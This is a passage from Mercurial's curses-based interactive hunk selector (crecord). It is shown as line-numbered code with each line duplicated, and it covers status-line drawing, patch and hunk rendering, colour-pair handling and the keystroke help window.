1158 extrawhitespace = self.alignstring(b"", window)
1158 window.addstr(extrawhitespace, colorpair)
1159 window.addstr(extrawhitespace, colorpair)
1159 else:
1160 else:
1160 # need to use t, since the x position hasn't incremented
1161 # need to use t, since the x position hasn't incremented
1161 extrawhitespace = self.alignstring(t, window)
1162 extrawhitespace = self.alignstring(t, window)
1162 t += extrawhitespace
1163 t += extrawhitespace
1163
1164
1164 # is reset to 0 at the beginning of printitem()
1165 # is reset to 0 at the beginning of printitem()
1165
1166
1166 linesprinted = (xstart + len(t)) // self.xscreensize
1167 linesprinted = (xstart + len(t)) // self.xscreensize
1167 self.linesprintedtopadsofar += linesprinted
1168 self.linesprintedtopadsofar += linesprinted
1168 return t
1169 return t
1169
1170
1170 def _getstatuslinesegments(self):
1171 def _getstatuslinesegments(self):
1171 """-> [str]. return segments"""
1172 """-> [str]. return segments"""
1172 selected = self.currentselecteditem.applied
1173 selected = self.currentselecteditem.applied
1173 spaceselect = _(b'space/enter: select')
1174 spaceselect = _(b'space/enter: select')
1174 spacedeselect = _(b'space/enter: deselect')
1175 spacedeselect = _(b'space/enter: deselect')
1175 # Format the selected label into a place as long as the longer of the
1176 # Format the selected label into a place as long as the longer of the
1176 # two possible labels. This may vary by language.
1177 # two possible labels. This may vary by language.
1177 spacelen = max(len(spaceselect), len(spacedeselect))
1178 spacelen = max(len(spaceselect), len(spacedeselect))
1178 selectedlabel = b'%-*s' % (
1179 selectedlabel = b'%-*s' % (
1179 spacelen,
1180 spacelen,
1180 spacedeselect if selected else spaceselect,
1181 spacedeselect if selected else spaceselect,
1181 )
1182 )
1182 segments = [
1183 segments = [
1183 _headermessages[self.operation],
1184 _headermessages[self.operation],
1184 b'-',
1185 b'-',
1185 _(b'[x]=selected **=collapsed'),
1186 _(b'[x]=selected **=collapsed'),
1186 _(b'c: confirm'),
1187 _(b'c: confirm'),
1187 _(b'q: abort'),
1188 _(b'q: abort'),
1188 _(b'arrow keys: move/expand/collapse'),
1189 _(b'arrow keys: move/expand/collapse'),
1189 selectedlabel,
1190 selectedlabel,
1190 _(b'?: help'),
1191 _(b'?: help'),
1191 ]
1192 ]
1192 return segments
1193 return segments
1193
1194
1194 def _getstatuslines(self):
1195 def _getstatuslines(self):
1195 """() -> [str]. return short help used in the top status window"""
1196 """() -> [str]. return short help used in the top status window"""
1196 if self.errorstr is not None:
1197 if self.errorstr is not None:
1197 lines = [self.errorstr, _(b'Press any key to continue')]
1198 lines = [self.errorstr, _(b'Press any key to continue')]
1198 else:
1199 else:
1199 # wrap segments to lines
1200 # wrap segments to lines
1200 segments = self._getstatuslinesegments()
1201 segments = self._getstatuslinesegments()
1201 width = self.xscreensize
1202 width = self.xscreensize
1202 lines = []
1203 lines = []
1203 lastwidth = width
1204 lastwidth = width
1204 for s in segments:
1205 for s in segments:
1205 w = encoding.colwidth(s)
1206 w = encoding.colwidth(s)
1206 sep = b' ' * (1 + (s and s[0] not in b'-['))
1207 sep = b' ' * (1 + (s and s[0] not in b'-['))
1207 if lastwidth + w + len(sep) >= width:
1208 if lastwidth + w + len(sep) >= width:
1208 lines.append(s)
1209 lines.append(s)
1209 lastwidth = w
1210 lastwidth = w
1210 else:
1211 else:
1211 lines[-1] += sep + s
1212 lines[-1] += sep + s
1212 lastwidth += w + len(sep)
1213 lastwidth += w + len(sep)
1213 if len(lines) != self.numstatuslines:
1214 if len(lines) != self.numstatuslines:
1214 self.numstatuslines = len(lines)
1215 self.numstatuslines = len(lines)
1215 self.statuswin.resize(self.numstatuslines, self.xscreensize)
1216 self.statuswin.resize(self.numstatuslines, self.xscreensize)
1216 return [stringutil.ellipsis(l, self.xscreensize - 1) for l in lines]
1217 return [stringutil.ellipsis(l, self.xscreensize - 1) for l in lines]
1217
1218
1218 def updatescreen(self):
1219 def updatescreen(self):
1219 self.statuswin.erase()
1220 self.statuswin.erase()
1220 self.chunkpad.erase()
1221 self.chunkpad.erase()
1221
1222
1222 printstring = self.printstring
1223 printstring = self.printstring
1223
1224
1224 # print out the status lines at the top
1225 # print out the status lines at the top
1225 try:
1226 try:
1226 for line in self._getstatuslines():
1227 for line in self._getstatuslines():
1227 printstring(self.statuswin, line, pairname=b"legend")
1228 printstring(self.statuswin, line, pairname=b"legend")
1228 self.statuswin.refresh()
1229 self.statuswin.refresh()
1229 except curses.error:
1230 except curses.error:
1230 pass
1231 pass
1231 if self.errorstr is not None:
1232 if self.errorstr is not None:
1232 return
1233 return
1233
1234
1234 # print out the patch in the remaining part of the window
1235 # print out the patch in the remaining part of the window
1235 try:
1236 try:
1236 self.printitem()
1237 self.printitem()
1237 self.updatescroll()
1238 self.updatescroll()
1238 self.chunkpad.refresh(
1239 self.chunkpad.refresh(
1239 self.firstlineofpadtoprint,
1240 self.firstlineofpadtoprint,
1240 0,
1241 0,
1241 self.numstatuslines,
1242 self.numstatuslines,
1242 0,
1243 0,
1243 self.yscreensize - self.numstatuslines,
1244 self.yscreensize - self.numstatuslines,
1244 self.xscreensize,
1245 self.xscreensize,
1245 )
1246 )
1246 except curses.error:
1247 except curses.error:
1247 pass
1248 pass
1248
1249
1249 def getstatusprefixstring(self, item):
1250 def getstatusprefixstring(self, item):
1250 """
1251 """
1251 create a string to prefix a line with which indicates whether 'item'
1252 create a string to prefix a line with which indicates whether 'item'
1252 is applied and/or folded.
1253 is applied and/or folded.
1253 """
1254 """
1254
1255
1255 # create checkbox string
1256 # create checkbox string
1256 if item.applied:
1257 if item.applied:
1257 if not isinstance(item, uihunkline) and item.partial:
1258 if not isinstance(item, uihunkline) and item.partial:
1258 checkbox = b"[~]"
1259 checkbox = b"[~]"
1259 else:
1260 else:
1260 checkbox = b"[x]"
1261 checkbox = b"[x]"
1261 else:
1262 else:
1262 checkbox = b"[ ]"
1263 checkbox = b"[ ]"
1263
1264
1264 try:
1265 try:
1265 if item.folded:
1266 if item.folded:
1266 checkbox += b"**"
1267 checkbox += b"**"
1267 if isinstance(item, uiheader):
1268 if isinstance(item, uiheader):
1268 # one of "m", "a", or "d" (modified, added, deleted)
1269 # one of "m", "a", or "d" (modified, added, deleted)
1269 filestatus = item.changetype
1270 filestatus = item.changetype
1270
1271
1271 checkbox += filestatus + b" "
1272 checkbox += filestatus + b" "
1272 else:
1273 else:
1273 checkbox += b" "
1274 checkbox += b" "
1274 if isinstance(item, uiheader):
1275 if isinstance(item, uiheader):
1275 # add two more spaces for headers
1276 # add two more spaces for headers
1276 checkbox += b" "
1277 checkbox += b" "
1277 except AttributeError: # not foldable
1278 except AttributeError: # not foldable
1278 checkbox += b" "
1279 checkbox += b" "
1279
1280
1280 return checkbox
1281 return checkbox
1281
1282
1282 def printheader(
1283 def printheader(
1283 self, header, selected=False, towin=True, ignorefolding=False
1284 self, header, selected=False, towin=True, ignorefolding=False
1284 ):
1285 ):
1285 """
1286 """
1286 print the header to the pad. if countlines is True, don't print
1287 print the header to the pad. if countlines is True, don't print
1287 anything, but just count the number of lines which would be printed.
1288 anything, but just count the number of lines which would be printed.
1288 """
1289 """
1289
1290
1290 outstr = b""
1291 outstr = b""
1291 text = header.prettystr()
1292 text = header.prettystr()
1292 chunkindex = self.chunklist.index(header)
1293 chunkindex = self.chunklist.index(header)
1293
1294
1294 if chunkindex != 0 and not header.folded:
1295 if chunkindex != 0 and not header.folded:
1295 # add separating line before headers
1296 # add separating line before headers
1296 outstr += self.printstring(
1297 outstr += self.printstring(
1297 self.chunkpad, b'_' * self.xscreensize, towin=towin, align=False
1298 self.chunkpad, b'_' * self.xscreensize, towin=towin, align=False
1298 )
1299 )
1299 # select color-pair based on if the header is selected
1300 # select color-pair based on if the header is selected
1300 colorpair = self.getcolorpair(
1301 colorpair = self.getcolorpair(
1301 name=selected and b"selected" or b"normal", attrlist=[curses.A_BOLD]
1302 name=selected and b"selected" or b"normal", attrlist=[curses.A_BOLD]
1302 )
1303 )
1303
1304
1304 # print out each line of the chunk, expanding it to screen width
1305 # print out each line of the chunk, expanding it to screen width
1305
1306
1306 # number of characters to indent lines on this level by
1307 # number of characters to indent lines on this level by
1307 indentnumchars = 0
1308 indentnumchars = 0
1308 checkbox = self.getstatusprefixstring(header)
1309 checkbox = self.getstatusprefixstring(header)
1309 if not header.folded or ignorefolding:
1310 if not header.folded or ignorefolding:
1310 textlist = text.split(b"\n")
1311 textlist = text.split(b"\n")
1311 linestr = checkbox + textlist[0]
1312 linestr = checkbox + textlist[0]
1312 else:
1313 else:
1313 linestr = checkbox + header.filename()
1314 linestr = checkbox + header.filename()
1314 outstr += self.printstring(
1315 outstr += self.printstring(
1315 self.chunkpad, linestr, pair=colorpair, towin=towin
1316 self.chunkpad, linestr, pair=colorpair, towin=towin
1316 )
1317 )
1317 if not header.folded or ignorefolding:
1318 if not header.folded or ignorefolding:
1318 if len(textlist) > 1:
1319 if len(textlist) > 1:
1319 for line in textlist[1:]:
1320 for line in textlist[1:]:
1320 linestr = b" " * (indentnumchars + len(checkbox)) + line
1321 linestr = b" " * (indentnumchars + len(checkbox)) + line
1321 outstr += self.printstring(
1322 outstr += self.printstring(
1322 self.chunkpad, linestr, pair=colorpair, towin=towin
1323 self.chunkpad, linestr, pair=colorpair, towin=towin
1323 )
1324 )
1324
1325
1325 return outstr
1326 return outstr
1326
1327
1327 def printhunklinesbefore(
1328 def printhunklinesbefore(
1328 self, hunk, selected=False, towin=True, ignorefolding=False
1329 self, hunk, selected=False, towin=True, ignorefolding=False
1329 ):
1330 ):
1330 """includes start/end line indicator"""
1331 """includes start/end line indicator"""
1331 outstr = b""
1332 outstr = b""
1332 # where hunk is in list of siblings
1333 # where hunk is in list of siblings
1333 hunkindex = hunk.header.hunks.index(hunk)
1334 hunkindex = hunk.header.hunks.index(hunk)
1334
1335
1335 if hunkindex != 0:
1336 if hunkindex != 0:
1336 # add separating line before headers
1337 # add separating line before headers
1337 outstr += self.printstring(
1338 outstr += self.printstring(
1338 self.chunkpad, b' ' * self.xscreensize, towin=towin, align=False
1339 self.chunkpad, b' ' * self.xscreensize, towin=towin, align=False
1339 )
1340 )
1340
1341
1341 colorpair = self.getcolorpair(
1342 colorpair = self.getcolorpair(
1342 name=selected and b"selected" or b"normal", attrlist=[curses.A_BOLD]
1343 name=selected and b"selected" or b"normal", attrlist=[curses.A_BOLD]
1343 )
1344 )
1344
1345
1345 # print out from-to line with checkbox
1346 # print out from-to line with checkbox
1346 checkbox = self.getstatusprefixstring(hunk)
1347 checkbox = self.getstatusprefixstring(hunk)
1347
1348
1348 lineprefix = b" " * self.hunkindentnumchars + checkbox
1349 lineprefix = b" " * self.hunkindentnumchars + checkbox
1349 frtoline = b" " + hunk.getfromtoline().strip(b"\n")
1350 frtoline = b" " + hunk.getfromtoline().strip(b"\n")
1350
1351
1351 outstr += self.printstring(
1352 outstr += self.printstring(
1352 self.chunkpad, lineprefix, towin=towin, align=False
1353 self.chunkpad, lineprefix, towin=towin, align=False
1353 ) # add uncolored checkbox/indent
1354 ) # add uncolored checkbox/indent
1354 outstr += self.printstring(
1355 outstr += self.printstring(
1355 self.chunkpad, frtoline, pair=colorpair, towin=towin
1356 self.chunkpad, frtoline, pair=colorpair, towin=towin
1356 )
1357 )
1357
1358
1358 if hunk.folded and not ignorefolding:
1359 if hunk.folded and not ignorefolding:
1359 # skip remainder of output
1360 # skip remainder of output
1360 return outstr
1361 return outstr
1361
1362
1362 # print out lines of the chunk preceeding changed-lines
1363 # print out lines of the chunk preceeding changed-lines
1363 for line in hunk.before:
1364 for line in hunk.before:
1364 linestr = (
1365 linestr = (
1365 b" " * (self.hunklineindentnumchars + len(checkbox)) + line
1366 b" " * (self.hunklineindentnumchars + len(checkbox)) + line
1366 )
1367 )
1367 outstr += self.printstring(self.chunkpad, linestr, towin=towin)
1368 outstr += self.printstring(self.chunkpad, linestr, towin=towin)
1368
1369
1369 return outstr
1370 return outstr
1370
1371
1371 def printhunklinesafter(self, hunk, towin=True, ignorefolding=False):
1372 def printhunklinesafter(self, hunk, towin=True, ignorefolding=False):
1372 outstr = b""
1373 outstr = b""
1373 if hunk.folded and not ignorefolding:
1374 if hunk.folded and not ignorefolding:
1374 return outstr
1375 return outstr
1375
1376
1376 # a bit superfluous, but to avoid hard-coding indent amount
1377 # a bit superfluous, but to avoid hard-coding indent amount
1377 checkbox = self.getstatusprefixstring(hunk)
1378 checkbox = self.getstatusprefixstring(hunk)
1378 for line in hunk.after:
1379 for line in hunk.after:
1379 linestr = (
1380 linestr = (
1380 b" " * (self.hunklineindentnumchars + len(checkbox)) + line
1381 b" " * (self.hunklineindentnumchars + len(checkbox)) + line
1381 )
1382 )
1382 outstr += self.printstring(self.chunkpad, linestr, towin=towin)
1383 outstr += self.printstring(self.chunkpad, linestr, towin=towin)
1383
1384
1384 return outstr
1385 return outstr
1385
1386
1386 def printhunkchangedline(self, hunkline, selected=False, towin=True):
1387 def printhunkchangedline(self, hunkline, selected=False, towin=True):
1387 outstr = b""
1388 outstr = b""
1388 checkbox = self.getstatusprefixstring(hunkline)
1389 checkbox = self.getstatusprefixstring(hunkline)
1389
1390
1390 linestr = hunkline.prettystr().strip(b"\n")
1391 linestr = hunkline.prettystr().strip(b"\n")
1391
1392
1392 # select color-pair based on whether line is an addition/removal
1393 # select color-pair based on whether line is an addition/removal
1393 if selected:
1394 if selected:
1394 colorpair = self.getcolorpair(name=b"selected")
1395 colorpair = self.getcolorpair(name=b"selected")
1395 elif linestr.startswith(b"+"):
1396 elif linestr.startswith(b"+"):
1396 colorpair = self.getcolorpair(name=b"addition")
1397 colorpair = self.getcolorpair(name=b"addition")
1397 elif linestr.startswith(b"-"):
1398 elif linestr.startswith(b"-"):
1398 colorpair = self.getcolorpair(name=b"deletion")
1399 colorpair = self.getcolorpair(name=b"deletion")
1399 elif linestr.startswith(b"\\"):
1400 elif linestr.startswith(b"\\"):
1400 colorpair = self.getcolorpair(name=b"normal")
1401 colorpair = self.getcolorpair(name=b"normal")
1401
1402
1402 lineprefix = b" " * self.hunklineindentnumchars + checkbox
1403 lineprefix = b" " * self.hunklineindentnumchars + checkbox
1403 outstr += self.printstring(
1404 outstr += self.printstring(
1404 self.chunkpad, lineprefix, towin=towin, align=False
1405 self.chunkpad, lineprefix, towin=towin, align=False
1405 ) # add uncolored checkbox/indent
1406 ) # add uncolored checkbox/indent
1406 outstr += self.printstring(
1407 outstr += self.printstring(
1407 self.chunkpad, linestr, pair=colorpair, towin=towin, showwhtspc=True
1408 self.chunkpad, linestr, pair=colorpair, towin=towin, showwhtspc=True
1408 )
1409 )
1409 return outstr
1410 return outstr
1410
1411
1411 def printitem(
1412 def printitem(
1412 self, item=None, ignorefolding=False, recursechildren=True, towin=True
1413 self, item=None, ignorefolding=False, recursechildren=True, towin=True
1413 ):
1414 ):
1414 """
1415 """
1415 use __printitem() to print the the specified item.applied.
1416 use __printitem() to print the the specified item.applied.
1416 if item is not specified, then print the entire patch.
1417 if item is not specified, then print the entire patch.
1417 (hiding folded elements, etc. -- see __printitem() docstring)
1418 (hiding folded elements, etc. -- see __printitem() docstring)
1418 """
1419 """
1419
1420
1420 if item is None:
1421 if item is None:
1421 item = self.headerlist
1422 item = self.headerlist
1422 if recursechildren:
1423 if recursechildren:
1423 self.linesprintedtopadsofar = 0
1424 self.linesprintedtopadsofar = 0
1424
1425
1425 outstr = []
1426 outstr = []
1426 self.__printitem(
1427 self.__printitem(
1427 item, ignorefolding, recursechildren, outstr, towin=towin
1428 item, ignorefolding, recursechildren, outstr, towin=towin
1428 )
1429 )
1429 return b''.join(outstr)
1430 return b''.join(outstr)
1430
1431
1431 def outofdisplayedarea(self):
1432 def outofdisplayedarea(self):
1432 y, _ = self.chunkpad.getyx() # cursor location
1433 y, _ = self.chunkpad.getyx() # cursor location
1433 # * 2 here works but an optimization would be the max number of
1434 # * 2 here works but an optimization would be the max number of
1434 # consecutive non selectable lines
1435 # consecutive non selectable lines
1435 # i.e the max number of context line for any hunk in the patch
1436 # i.e the max number of context line for any hunk in the patch
1436 miny = min(0, self.firstlineofpadtoprint - self.yscreensize)
1437 miny = min(0, self.firstlineofpadtoprint - self.yscreensize)
1437 maxy = self.firstlineofpadtoprint + self.yscreensize * 2
1438 maxy = self.firstlineofpadtoprint + self.yscreensize * 2
1438 return y < miny or y > maxy
1439 return y < miny or y > maxy
1439
1440
1440 def handleselection(self, item, recursechildren):
1441 def handleselection(self, item, recursechildren):
1441 selected = item is self.currentselecteditem
1442 selected = item is self.currentselecteditem
1442 if selected and recursechildren:
1443 if selected and recursechildren:
1443 # assumes line numbering starting from line 0
1444 # assumes line numbering starting from line 0
1444 self.selecteditemstartline = self.linesprintedtopadsofar
1445 self.selecteditemstartline = self.linesprintedtopadsofar
1445 selecteditemlines = self.getnumlinesdisplayed(
1446 selecteditemlines = self.getnumlinesdisplayed(
1446 item, recursechildren=False
1447 item, recursechildren=False
1447 )
1448 )
1448 self.selecteditemendline = (
1449 self.selecteditemendline = (
1449 self.selecteditemstartline + selecteditemlines - 1
1450 self.selecteditemstartline + selecteditemlines - 1
1450 )
1451 )
1451 return selected
1452 return selected
1452
1453
1453 def __printitem(
1454 def __printitem(
1454 self, item, ignorefolding, recursechildren, outstr, towin=True
1455 self, item, ignorefolding, recursechildren, outstr, towin=True
1455 ):
1456 ):
1456 """
1457 """
1457 recursive method for printing out patch/header/hunk/hunk-line data to
1458 recursive method for printing out patch/header/hunk/hunk-line data to
1458 screen. also returns a string with all of the content of the displayed
1459 screen. also returns a string with all of the content of the displayed
1459 patch (not including coloring, etc.).
1460 patch (not including coloring, etc.).
1460
1461
1461 if ignorefolding is True, then folded items are printed out.
1462 if ignorefolding is True, then folded items are printed out.
1462
1463
1463 if recursechildren is False, then only print the item without its
1464 if recursechildren is False, then only print the item without its
1464 child items.
1465 child items.
1465 """
1466 """
1466
1467
1467 if towin and self.outofdisplayedarea():
1468 if towin and self.outofdisplayedarea():
1468 return
1469 return
1469
1470
1470 selected = self.handleselection(item, recursechildren)
1471 selected = self.handleselection(item, recursechildren)
1471
1472
1472 # patch object is a list of headers
1473 # patch object is a list of headers
1473 if isinstance(item, patch):
1474 if isinstance(item, patch):
1474 if recursechildren:
1475 if recursechildren:
1475 for hdr in item:
1476 for hdr in item:
1476 self.__printitem(
1477 self.__printitem(
1477 hdr, ignorefolding, recursechildren, outstr, towin
1478 hdr, ignorefolding, recursechildren, outstr, towin
1478 )
1479 )
1479 # todo: eliminate all isinstance() calls
1480 # todo: eliminate all isinstance() calls
1480 if isinstance(item, uiheader):
1481 if isinstance(item, uiheader):
1481 outstr.append(
1482 outstr.append(
1482 self.printheader(
1483 self.printheader(
1483 item, selected, towin=towin, ignorefolding=ignorefolding
1484 item, selected, towin=towin, ignorefolding=ignorefolding
1484 )
1485 )
1485 )
1486 )
1486 if recursechildren:
1487 if recursechildren:
1487 for hnk in item.hunks:
1488 for hnk in item.hunks:
1488 self.__printitem(
1489 self.__printitem(
1489 hnk, ignorefolding, recursechildren, outstr, towin
1490 hnk, ignorefolding, recursechildren, outstr, towin
1490 )
1491 )
1491 elif isinstance(item, uihunk) and (
1492 elif isinstance(item, uihunk) and (
1492 (not item.header.folded) or ignorefolding
1493 (not item.header.folded) or ignorefolding
1493 ):
1494 ):
1494 # print the hunk data which comes before the changed-lines
1495 # print the hunk data which comes before the changed-lines
1495 outstr.append(
1496 outstr.append(
1496 self.printhunklinesbefore(
1497 self.printhunklinesbefore(
1497 item, selected, towin=towin, ignorefolding=ignorefolding
1498 item, selected, towin=towin, ignorefolding=ignorefolding
1498 )
1499 )
1499 )
1500 )
1500 if recursechildren:
1501 if recursechildren:
1501 for l in item.changedlines:
1502 for l in item.changedlines:
1502 self.__printitem(
1503 self.__printitem(
1503 l, ignorefolding, recursechildren, outstr, towin
1504 l, ignorefolding, recursechildren, outstr, towin
1504 )
1505 )
1505 outstr.append(
1506 outstr.append(
1506 self.printhunklinesafter(
1507 self.printhunklinesafter(
1507 item, towin=towin, ignorefolding=ignorefolding
1508 item, towin=towin, ignorefolding=ignorefolding
1508 )
1509 )
1509 )
1510 )
1510 elif isinstance(item, uihunkline) and (
1511 elif isinstance(item, uihunkline) and (
1511 (not item.hunk.folded) or ignorefolding
1512 (not item.hunk.folded) or ignorefolding
1512 ):
1513 ):
1513 outstr.append(
1514 outstr.append(
1514 self.printhunkchangedline(item, selected, towin=towin)
1515 self.printhunkchangedline(item, selected, towin=towin)
1515 )
1516 )
1516
1517
1517 return outstr
1518 return outstr
1518
1519
1519 def getnumlinesdisplayed(
1520 def getnumlinesdisplayed(
1520 self, item=None, ignorefolding=False, recursechildren=True
1521 self, item=None, ignorefolding=False, recursechildren=True
1521 ):
1522 ):
1522 """
1523 """
1523 return the number of lines which would be displayed if the item were
1524 return the number of lines which would be displayed if the item were
1524 to be printed to the display. the item will not be printed to the
1525 to be printed to the display. the item will not be printed to the
1525 display (pad).
1526 display (pad).
1526 if no item is given, assume the entire patch.
1527 if no item is given, assume the entire patch.
1527 if ignorefolding is True, folded items will be unfolded when counting
1528 if ignorefolding is True, folded items will be unfolded when counting
1528 the number of lines.
1529 the number of lines.
1529 """
1530 """
1530
1531
1531 # temporarily disable printing to windows by printstring
1532 # temporarily disable printing to windows by printstring
1532 patchdisplaystring = self.printitem(
1533 patchdisplaystring = self.printitem(
1533 item, ignorefolding, recursechildren, towin=False
1534 item, ignorefolding, recursechildren, towin=False
1534 )
1535 )
1535 numlines = len(patchdisplaystring) // self.xscreensize
1536 numlines = len(patchdisplaystring) // self.xscreensize
1536 return numlines
1537 return numlines
1537
1538
1538 def sigwinchhandler(self, n, frame):
1539 def sigwinchhandler(self, n, frame):
1539 """handle window resizing"""
1540 """handle window resizing"""
1540 try:
1541 try:
1541 curses.endwin()
1542 curses.endwin()
1542 self.xscreensize, self.yscreensize = scmutil.termsize(self.ui)
1543 self.xscreensize, self.yscreensize = scmutil.termsize(self.ui)
1543 self.statuswin.resize(self.numstatuslines, self.xscreensize)
1544 self.statuswin.resize(self.numstatuslines, self.xscreensize)
1544 self.numpadlines = self.getnumlinesdisplayed(ignorefolding=True) + 1
1545 self.numpadlines = self.getnumlinesdisplayed(ignorefolding=True) + 1
1545 self.chunkpad = curses.newpad(self.numpadlines, self.xscreensize)
1546 self.chunkpad = curses.newpad(self.numpadlines, self.xscreensize)
1546 except curses.error:
1547 except curses.error:
1547 pass
1548 pass
1548
1549
1549 def getcolorpair(
1550 def getcolorpair(
1550 self, fgcolor=None, bgcolor=None, name=None, attrlist=None
1551 self, fgcolor=None, bgcolor=None, name=None, attrlist=None
1551 ):
1552 ):
1552 """
1553 """
1553 get a curses color pair, adding it to self.colorpairs if it is not
1554 get a curses color pair, adding it to self.colorpairs if it is not
1554 already defined. an optional string, name, can be passed as a shortcut
1555 already defined. an optional string, name, can be passed as a shortcut
1555 for referring to the color-pair. by default, if no arguments are
1556 for referring to the color-pair. by default, if no arguments are
1556 specified, the white foreground / black background color-pair is
1557 specified, the white foreground / black background color-pair is
1557 returned.
1558 returned.
1558
1559
1559 it is expected that this function will be used exclusively for
1560 it is expected that this function will be used exclusively for
1560 initializing color pairs, and not curses.init_pair().
1561 initializing color pairs, and not curses.init_pair().
1561
1562
1562 attrlist is used to 'flavor' the returned color-pair. this information
1563 attrlist is used to 'flavor' the returned color-pair. this information
1563 is not stored in self.colorpairs. it contains attribute values like
1564 is not stored in self.colorpairs. it contains attribute values like
1564 curses.A_BOLD.
1565 curses.A_BOLD.
1565 """
1566 """
1566
1567
1567 if (name is not None) and name in self.colorpairnames:
1568 if (name is not None) and name in self.colorpairnames:
1568 # then get the associated color pair and return it
1569 # then get the associated color pair and return it
1569 colorpair = self.colorpairnames[name]
1570 colorpair = self.colorpairnames[name]
1570 else:
1571 else:
1571 if fgcolor is None:
1572 if fgcolor is None:
1572 fgcolor = -1
1573 fgcolor = -1
1573 if bgcolor is None:
1574 if bgcolor is None:
1574 bgcolor = -1
1575 bgcolor = -1
1575 if (fgcolor, bgcolor) in self.colorpairs:
1576 if (fgcolor, bgcolor) in self.colorpairs:
1576 colorpair = self.colorpairs[(fgcolor, bgcolor)]
1577 colorpair = self.colorpairs[(fgcolor, bgcolor)]
1577 else:
1578 else:
1578 pairindex = len(self.colorpairs) + 1
1579 pairindex = len(self.colorpairs) + 1
1579 if self.usecolor:
1580 if self.usecolor:
1580 curses.init_pair(pairindex, fgcolor, bgcolor)
1581 curses.init_pair(pairindex, fgcolor, bgcolor)
1581 colorpair = self.colorpairs[
1582 colorpair = self.colorpairs[
1582 (fgcolor, bgcolor)
1583 (fgcolor, bgcolor)
1583 ] = curses.color_pair(pairindex)
1584 ] = curses.color_pair(pairindex)
1584 if name is not None:
1585 if name is not None:
1585 self.colorpairnames[name] = curses.color_pair(pairindex)
1586 self.colorpairnames[name] = curses.color_pair(pairindex)
1586 else:
1587 else:
1587 cval = 0
1588 cval = 0
1588 if name is not None:
1589 if name is not None:
1589 if name == b'selected':
1590 if name == b'selected':
1590 cval = curses.A_REVERSE
1591 cval = curses.A_REVERSE
1591 self.colorpairnames[name] = cval
1592 self.colorpairnames[name] = cval
1592 colorpair = self.colorpairs[(fgcolor, bgcolor)] = cval
1593 colorpair = self.colorpairs[(fgcolor, bgcolor)] = cval
1593
1594
1594 # add attributes if possible
1595 # add attributes if possible
1595 if attrlist is None:
1596 if attrlist is None:
1596 attrlist = []
1597 attrlist = []
1597 if colorpair < 256:
1598 if colorpair < 256:
1598 # then it is safe to apply all attributes
1599 # then it is safe to apply all attributes
1599 for textattr in attrlist:
1600 for textattr in attrlist:
1600 colorpair |= textattr
1601 colorpair |= textattr
1601 else:
1602 else:
1602 # just apply a select few (safe?) attributes
1603 # just apply a select few (safe?) attributes
1603 for textattrib in (curses.A_UNDERLINE, curses.A_BOLD):
1604 for textattrib in (curses.A_UNDERLINE, curses.A_BOLD):
1604 if textattrib in attrlist:
1605 if textattrib in attrlist:
1605 colorpair |= textattrib
1606 colorpair |= textattrib
1606 return colorpair
1607 return colorpair
1607
1608
1608 def initcolorpair(self, *args, **kwargs):
1609 def initcolorpair(self, *args, **kwargs):
1609 """same as getcolorpair."""
1610 """same as getcolorpair."""
1610 self.getcolorpair(*args, **kwargs)
1611 self.getcolorpair(*args, **kwargs)
1611
1612
1612 def helpwindow(self):
1613 def helpwindow(self):
1613 """print a help window to the screen. exit after any keypress."""
1614 """print a help window to the screen. exit after any keypress."""
1614 helptext = _(
1615 helptext = _(
1615 """ [press any key to return to the patch-display]
1616 """ [press any key to return to the patch-display]
1616
1617
1617 The curses hunk selector allows you to interactively choose among the
1618 The curses hunk selector allows you to interactively choose among the
1618 changes you have made, and confirm only those changes you select for
1619 changes you have made, and confirm only those changes you select for
1619 further processing by the command you are running (such as commit,
1620 further processing by the command you are running (such as commit,
1620 shelve, or revert). After confirming the selected changes, the
1621 shelve, or revert). After confirming the selected changes, the
1621 unselected changes are still present in your working copy, so you can
1622 unselected changes are still present in your working copy, so you can
1622 use the hunk selector multiple times to split large changes into
1623 use the hunk selector multiple times to split large changes into
1623 smaller changesets. the following are valid keystrokes:
1624 smaller changesets. the following are valid keystrokes:
1624
1625
1625 x [space] : (un-)select item ([~]/[x] = partly/fully applied)
1626 x [space] : (un-)select item ([~]/[x] = partly/fully applied)
1626 [enter] : (un-)select item and go to next item of same type
1627 [enter] : (un-)select item and go to next item of same type
1627 A : (un-)select all items
1628 A : (un-)select all items
1628 X : (un-)select all items between current and most-recent
1629 X : (un-)select all items between current and most-recent
1629 up/down-arrow [k/j] : go to previous/next unfolded item
1630 up/down-arrow [k/j] : go to previous/next unfolded item
1630 pgup/pgdn [K/J] : go to previous/next item of same type
1631 pgup/pgdn [K/J] : go to previous/next item of same type
1631 right/left-arrow [l/h] : go to child item / parent item
1632 right/left-arrow [l/h] : go to child item / parent item
1632 shift-left-arrow [H] : go to parent header / fold selected header
1633 shift-left-arrow [H] : go to parent header / fold selected header
1633 g : go to the top
1634 g : go to the top
1634 G : go to the bottom
1635 G : go to the bottom
1635 f : fold / unfold item, hiding/revealing its children
1636 f : fold / unfold item, hiding/revealing its children
1636 F : fold / unfold parent item and all of its ancestors
1637 F : fold / unfold parent item and all of its ancestors
1637 ctrl-l : scroll the selected line to the top of the screen
1638 ctrl-l : scroll the selected line to the top of the screen
1638 m : edit / resume editing the commit message
1639 m : edit / resume editing the commit message
1639 e : edit the currently selected hunk
1640 e : edit the currently selected hunk
1640 a : toggle all selections
1641 a : toggle all selections
1641 c : confirm selected changes
1642 c : confirm selected changes
1642 r : review/edit and confirm selected changes
1643 r : review/edit and confirm selected changes
1643 q : quit without confirming (no changes will be made)
1644 q : quit without confirming (no changes will be made)
1644 ? : help (what you're currently reading)"""
1645 ? : help (what you're currently reading)"""
1645 )
1646 )
1646
1647
1647 helpwin = curses.newwin(self.yscreensize, 0, 0, 0)
1648 helpwin = curses.newwin(self.yscreensize, 0, 0, 0)
1648 helplines = helptext.split(b"\n")
1649 helplines = helptext.split(b"\n")
1649 helplines = helplines + [b" "] * (
1650 helplines = helplines + [b" "] * (
1650 self.yscreensize - self.numstatuslines - len(helplines) - 1
1651 self.yscreensize - self.numstatuslines - len(helplines) - 1
1651 )
1652 )
1652 try:
1653 try:
1653 for line in helplines:
1654 for line in helplines:
1654 self.printstring(helpwin, line, pairname=b"legend")
1655 self.printstring(helpwin, line, pairname=b"legend")
1655 except curses.error:
1656 except curses.error:
1656 pass
1657 pass
1657 helpwin.refresh()
1658 helpwin.refresh()
1658 try:
1659 try:
1659 with self.ui.timeblockedsection(b'crecord'):
1660 with self.ui.timeblockedsection(b'crecord'):
1660 helpwin.getkey()
1661 helpwin.getkey()
1661 except curses.error:
1662 except curses.error:
1662 pass
1663 pass
1663
1664
1664 def commitMessageWindow(self):
